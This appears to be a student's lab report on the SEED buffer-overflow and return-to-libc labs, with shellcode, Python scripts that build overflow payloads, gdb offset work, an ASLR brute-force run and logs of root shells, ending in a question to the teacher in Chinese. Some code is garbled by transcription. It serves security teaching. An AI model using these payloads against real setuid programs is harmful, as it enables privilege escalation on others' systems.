Buffer Overflow Vulnerability Lab

Task1: Running Shellcode

```
[09/03/20]seed@VM:~/lab1$ gedit call_shellcode.c
[09/03/20]seed@VM:~/lab1$ gcc -z execstack -o call_shellcode call_shellcode.c
[09/03/20]seed@VM:~/lab1$ cal
cal calibrate_ppa call_shellcode
calendar caller
[09/03/20]seed@VM:~/lab1$ call_shellcode
```

from the picture above ,we can see that when we run the program, we enter in the shell

Task2: Exploiting the Vulnerability

1, calculate the distance between ebp and buffer address

we use gdb to implement it, first we lay a breakpoint in function bof by command:b bof and run, then the gdb will stop in the bof, we use command print to observe the address of ebp and buffer, calculate the distance between them(32)

2, badfile

```
Open ▼
#!/usr/bin/python3
import sys
shellcode= (
       "\x50" # pushl %eax
      "\x68""//sh" # pushl $0x68732f2f
"\x68""/bin" # pushl $0x6e69622f
       \x89\xe3" # movl %esp,%ebx
      "\x50" # pushl %eax
"\x53" # pushl %ebx
       "\x99" # cdq
       "\xb0\x0b" # movb \xb0\x0b,%al
       '\xcd\x80" # int $0x80
       "\x00"
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode
ret = 0xbfffea38+100  # replace 0xAABBCCDD with the correct value
offset = 36
                    # replace 0 with the correct value
# Fill the return address field with the address of the shellcode
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little'
# Write the content to badfile
with open('badfile', 'wb') as f:
      f.write(content)
```

Second,we exploit python script to edit bad file, we only need to change the value of ret and offset.

```
offset=(ebp-buffer address)+4
ret=ebp address+100
```

3, get root privilege

```
[09/03/20]seed@VM:~/lab1$ gedit exploit.py
[09/03/20]seed@VM:~/lab1$ ls
stack_dgb
                                               stack.c
[09/03/20]seed@VM:~/lab1$ sta
               startNetworkServer
                                 startx
                                                 static-sh
stack
stack dgb
                start-pulseaudio-x11 startxfce4
                start-stop-daemo
start
[09/03/20]seed@VM:~/lab1$ stack 2 execute stack to read badfile, get root right
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46
(plugdev),113(lpadmin),128(sambashare)
```

Last, we compile and run exploit.py and stack in turn, from the picture above, we can see that we got the root privilege

Task3: Defeating dash's Countermeasure

1, comment setuid()

```
[09/03/20]seed@VM:~/lab1$ gcd -o test1 dash_shell_test.c
[09/03/20]seed@VM:~/lab1$ sudo chown root test1
[09/03/20]seed@VM:~/lab1$ sudo chmod 4755 test1
[09/03/20]seed@VM:~/lab1$ test1
$
```

```
[09/03/20]seed@VM:~/lab1$ test1
$ whoami
seed
$ |
```

Firstly, we comment the setuid(0) and run program, we find we get the seed shell

2, uncomment setuid()

```
[09/03/20]seed@VM:~/lab1$ gcc -o test2 dash_shell_test.c
[09/03/20]seed@VM:~/lab1$ test2
$ exit
[09/03/20]seed@VM:~/lab1$ chown root test2
chown: changing ownership of 'test2': Operation not permitted
[09/03/20]seed@VM:~/lab1$ sudo chown root test2
[09/03/20]seed@VM:~/lab1$ sudo chmod 4755 test2
[09/03/20]seed@VM:~/lab1$ test2
# ■
```

```
[09/03/20]seed@VM:~/lab1$ test2
# whoami
root
# |
```

when we uncomment the setuid(0), we find that we get the root shell

3, modify exploit.py and run

```
Open ▼
         Ħ
#!/usr/bin/python3
import sys
shellcode= (
       "\x31\xc0" #Line 1: xorl %eax,%eax
       "\x31\xdb" #Line 2: xorl %ebx,%ebx
       "\xb0\xd5" #Line 3: movb $0xd5,%al
       "\xcd\x80" #Line 4: int $0x80
       "\x31\xc0" # xorl %eax,%eax
       "\x50" # pushl %eax
       "\x68""//sh" # pushl $0x68732f2f
       "\x68""/bin" # pushl $0x6e69622f
       "\x89\xe3" # movl %esp,%ebx
       "\x50" # pushl %eax
       "\x53" # pushl %ebx
       "\x89\xe1" # movl %esp,%ecx
       "\x99" # cdq
       "\xb0\x0b" # movb $0x0b,%al
       "\xcd\x80" # int $0x80
"\x00"
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode
ret = 0xbfffea38+100
                    # replace 0xAABBCCDD with the correct value
offset = 36
                    # replace 0 with the correct value
# Fill the return address field with the address of the shellcode
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
```

```
[09/03/20]seed@VM:~/lab1$ exploit.py
[09/03/20]seed@VM:~/lab1$ stack
# whoami
root
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugde
v),113(lpadmin),128(sambashare)
# #
```

when we run the stack,we found that we get the root shell bacasue the command setuuid(0) modify the real uid to root uid.

Task4: Defeating Address Randomization

```
./test.sh: line 12: 21228 Segmentation fault
                                                   ./stack
9 minutes and 13 seconds elapsed.
The program has been running 47459 times so far.
./test.sh: line 12: 21230 Segmentation fault
                                                   ./stack
9 minutes and 13 seconds elapsed.
The program has been running 47460 times so far.
./test.sh: line 12: 21231 Segmentation fault
                                                   ./stack
9 minutes and 13 seconds elapsed.
The program has been running 47461 times so far.
./test.sh: line 12: 21232 Segmentation fault
                                                   ./stack
9 minutes and 13 seconds elapsed.
The program has been running 47462 times so far.
./test.sh: line 12: 21233 Segmentation fault
                                                   ./stack
9 minutes and 13 seconds elapsed.
The program has been running 47463 times so far.
./test.sh: line 12: 21235 Segmentation fault
                                                   ./stack
9 minutes and 13 seconds elapsed.
The program has been running 47464 times so far.
```

From the picture above, we find that we get the root shell after 47464 running times. As a result of the address randomization, the esp address and buffer address differ every time, and the content in badfile is the same. But after many times of execution, the random address and the address in badfile may be the same. This is a brute force search method.

Task5: Turn on the StackGuard Protection

```
[09/03/20]seed@VM:~/lab1$ gcc -o stack task5 -z execstack stack.c
[09/03/20]seed@VM:~/lab1$ ls
badfile
                  dash shell test.c
                                              stack
call shellcode
                  exploit.py
                                              stack.c
call shellcode.c peda-session-stack dgb.txt stack dgb
                                                            test.sh
dash shell test1
                 peda-session-stack.txt
                                              stack task5
[09/03/20]seed@VM:~/lab1$ stack task5
 ** stack smashing detected ***: stack task5 terminated
Aborted
[09/03/20]seed@VM:~/lab1$
```

After execution, we found that an error was reported as smashing detected.

Task6: Turn on the Non-executable Stack Protection

```
Breakpoint 1, bof (
    str=0xbfffead7 '\220' <repeats 36 times>, "\234\352\377\277", '\220' <repeats 160 ti
mes>...) at stack.c:12
12    strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xbfffea98
gdb-peda$ p &buffer
$2 = (char (*)[24]) 0xbfffea78
gdb-peda$ p/d 0xbfffea98-0xbfffea78
$3 = 32
gdb-peda$ |
```

calculate the distance between ebp and buffer

```
Open ▼
#!/usr/bin/python3
import svs
shellcode= (
        "\x31\xc0" #Line 1: xorl %eax, %eax
       "\x31\xdb" #Line 2: xorl %ebx,%ebx
       "\xb0\xd5" #Line 3: movb $0xd5,%al
        "\xcd\x80" #Line 4: int $0x80
        "\x31\xc0" # xorl %eax,%eax
       "\x50" # pushl %eax
"\x68""//sh" # pushl $0x68732f2f
"\x68""/bin" # pushl $0x6e69622f
        "\x89\xe3" # movl %esp,%ebx
       "\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx
       "\x99" # cdq
       "\xb0\x0b" # movb $0x0b,%al
       "\xcd\x80" # int $0x80
       "\x00"
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode
ret = 0xbfffea98+100  # replace 0xAABBCCDD with the correct value
offset = 36  # replace 0 with the correct value
# Fill the return address field with the address of the shellcode
# Write the content to badfile
with open('badfile', 'wb') as f:
       f.write(content)
```

modify the exploit.py

```
[09/03/20]seed@VM:~/lab1$ gedit exploit.py
[09/03/20]seed@VM:~/lab1$ explo
explode explode.py exploit.py
[09/03/20]seed@VM:~/lab1$ exploit.py
[09/03/20]seed@VM:~/lab1$ stack_task6
Segmentation fault
[09/03/20]seed@VM:~/lab1$
```

run the stack_task6, we found a error reported as segmention fault. Because the Non-executable mechanism makes the certain areas of memory as non-executable.

Return-to-libc Attack Lab

Task1: Finding out the addresses of libc functions

we can see that:

- 1. the address of system() is 0xb7e42da0
- 2. the address of exit() is 0xb7e369d0

Task2: Putting the shell string in the memory

1. export the environment variables

```
[09/04/20]seed@VM:~/lab1$ export MYSHELL=/bin/sh
[09/04/20]seed@VM:~/lab1$ env |grep MYSHELL
MYSHELL=/bin/sh
```

2. put the string into memory

```
[09/04/20]seed@VM:~/lab2$ a.out
bffffdd8
[09/04/20]seed@VM:~/lab2$ a.out
bffffdd8
[09/04/20]seed@VM:~/lab2$
```

```
gdb-peda$ find 0xb7d82540,+5000000,"/bin/sh"
Searching for '0xb7d82540,+5000000,/bin/sh' in: None ranges
Search for a pattern in memory; support regex search
Usage:
    searchmem pattern start end
    searchmem pattern mapname

gdb-peda$ searchmem "/bin/sh" 0xb7d82540
Searching for '/bin/sh' in range: 0xb7d6a000 - 0xb7f19000
Found 1 results, display max 1 items:
libc: 0xb7ec582b ("/bin/sh")
```

Task3: Exploiting the buffer-overflow vulnerability

1. Firstly , we calcualte the distance between the θ and buffer address. From the picture below, we get the result as θ

2. /bin/sh

- sh_addr=0xbfffdd8
- X=20+12=32, because this can cover the address of argument of function system

3. system()

from the above disscussion:

- system_addr=0xb7e42da0
- Y=20+4, bacause this can cover the return address of bof

4. exit()

- exit_dir=0xb7e369d0
- Z=20+8=28, because this can cover the return address of system, make the system exit

5. run and get root shell

• py script

```
#!/usr/bin/python3
import sys
# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X=32
sh_addr = 0xbffffdd8 # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y=24
system_addr = 0xb7e42da0 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z=28
exit_addr = 0xb7e369d0 # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
# Save content to a file
with open("badfile", "wb") as f:
    f.write(content)
```

• get root shell?

老师,在这里我碰到了问题,在填写完badfile后,运行a.out没有任何输出而是直接结束了,如下图:

```
gdb-peda$ q
[09/05/20]seed@VM:~/lab2$
[09/05/20]seed@VM:~/lab2$ a.out
[09/05/20]seed@VM:~/lab2$
```

我用gdb查看时,看到了覆盖的地址时没问题的,如下面的图,按道理逻辑是对的,但是没有输出现在我也不知道怎么回事,希望老师抽空给解答。看到后面的3个task是根据这个task来的,我想等这个问题解决了在给老师补交一份,希望老师允许。